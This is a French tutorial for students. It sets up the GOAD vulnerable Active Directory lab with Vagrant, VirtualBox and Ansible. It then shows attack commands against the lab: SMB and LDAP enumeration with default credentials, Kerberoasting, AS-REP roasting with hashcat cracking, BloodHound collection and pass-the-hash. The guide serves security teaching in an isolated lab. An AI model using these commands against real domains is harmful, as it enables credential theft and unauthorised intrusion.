GOAD Lab (Game of Active Directory)

Lab de pentest Active Directory - BTS SIO SISR

AVERTISSEMENT ÉTHIQUE ET LÉGAL
GOAD est un laboratoire de pentest strictement pédagogique. Toute utilisation en dehors d'un cadre éducatif contrôlé est interdite. Usage uniquement sur infrastructure dédiée (VirtualBox/VMware).

Objectif

Déployer un environnement Active Directory vulnérable (GOAD) pour apprendre les techniques d'audit et de pentest sur infrastructure Windows (OSCP/CRTE).

Prérequis

Architecture GOAD

5 VMs Windows Server

Vulnérabilités intégrées

Installation depuis WSL2 (Windows)

Étape 1 : Installation des dépendances

# Mise à jour WSL2 Ubuntu
sudo apt update && sudo apt upgrade -y

# Installation Ansible
sudo apt install -y ansible python3-pip git

# Installation de pywinrm (requis pour Ansible → Windows)
pip3 install pywinrm

# Vérification
ansible --version

Étape 2 : Installation de Vagrant

# Télécharger Vagrant pour Linux
wget https://releases.hashicorp.com/vagrant/2.4.1/vagrant_2.4.1-1_amd64.deb

# Installer
sudo dpkg -i vagrant_2.4.1-1_amd64.deb

# Vérifier
vagrant --version

Étape 3 : Installation VirtualBox sur Windows

  1. Télécharger VirtualBox 7.0+ depuis virtualbox.org
  2. Installer sur Windows (pas dans WSL)
  3. Installer le pack d'extension VirtualBox

Étape 4 : Cloner GOAD depuis WSL

cd ~
git clone https://github.com/Orange-Cyberdefense/GOAD.git
cd GOAD

Étape 5 : Configuration Vagrant pour VirtualBox

# Ajouter le plugin Vagrant VirtualBox
vagrant plugin install vagrant-vbguest
vagrant plugin install vagrant-reload

# Configurer Vagrant pour utiliser VirtualBox Windows
export VAGRANT_WSL_ENABLE_WINDOWS_ACCESS="1"
export VAGRANT_WSL_WINDOWS_ACCESS_USER_HOME_PATH="/mnt/c/Users/VotreNomUtilisateur"

Étape 6 : Déploiement des VMs

cd ~/GOAD/ad/GOAD/providers/virtualbox

# Lancer la création des 5 VMs (durée : 30-60 min)
vagrant up
Info : Les VMs Windows Server sont téléchargées automatiquement depuis Vagrant Cloud (boxes Windows Server 2016/2019).

Étape 7 : Provisioning Ansible

cd ~/GOAD/ansible

# Installation des collections Ansible requises
ansible-galaxy install -r requirements.yml

# Lancer le provisioning (configuration AD + vulnérabilités)
ansible-playbook -i ../ad/GOAD/data/inventory -i ../ad/GOAD/providers/virtualbox/inventory main.yml

Durée totale : 1h30 à 2h selon la machine hôte.

Vérification du Lab

Test de connectivité

# Depuis votre machine Kali/Parrot (sur même réseau 192.168.56.0/24)
ping 192.168.56.10
ping 192.168.56.11
ping 192.168.56.12

Énumération AD avec CrackMapExec

# Installation CME
sudo apt install crackmapexec -y

# Scan du réseau
crackmapexec smb 192.168.56.0/24

# Test authentification (creds par défaut GOAD)
crackmapexec smb 192.168.56.10 -u 'vagrant' -p 'vagrant'

Énumération LDAP

ldapsearch -x -H ldap://192.168.56.10 -D "[email protected]" -w 'vagrant' -b "dc=north,dc=sevenkingdoms,dc=local"

Scénarios d'Attaque (Exemples Pédagogiques)

1. Kerberoasting avec Impacket

# Récupérer les hashes Kerberos TGS
GetUserSPNs.py -request -dc-ip 192.168.56.10 north.sevenkingdoms.local/vagrant:vagrant

# Cracker avec hashcat
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

2. AS-REP Roasting

# Rechercher comptes sans pre-auth Kerberos
GetNPUsers.py north.sevenkingdoms.local/ -dc-ip 192.168.56.10 -usersfile users.txt -format hashcat

# Cracker
hashcat -m 18200 asrep.txt rockyou.txt

3. BloodHound - Analyse de chemins d'attaque

# Installation BloodHound
sudo apt install bloodhound neo4j -y

# Collection de données avec SharpHound
bloodhound-python -d north.sevenkingdoms.local -u vagrant -p vagrant -dc DC01.north.sevenkingdoms.local -c All

# Lancer neo4j + BloodHound
sudo neo4j console
bloodhound

4. Pass-the-Hash avec CrackMapExec

# Après dump de hashes NTLM
crackmapexec smb 192.168.56.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

Gestion du Lab

Commandes Vagrant utiles

# Vérifier l'état des VMs
vagrant status

# Arrêter toutes les VMs
vagrant halt

# Démarrer toutes les VMs
vagrant up

# Supprimer complètement le lab
vagrant destroy -f

# Redéployer depuis zéro
vagrant up --provision

Snapshots VirtualBox

Créer un snapshot après installation complète :

  1. Ouvrir VirtualBox GUI
  2. Sélectionner chaque VM GOAD
  3. Machine → Prendre un instantané
  4. Nom : "GOAD_Clean_Install"

Permet de restaurer le lab en état neuf après exercices.

Points Clés pour l'Oral BTS

RAPPEL LÉGAL
Ces techniques sont présentées dans un cadre pédagogique BTS SIO SISR. Leur utilisation en conditions réelles sans autorisation écrite constitue un délit pénal (Code pénal art. 323-1 à 323-7). Sanctions : jusqu'à 5 ans de prison + 150 000 € d'amende.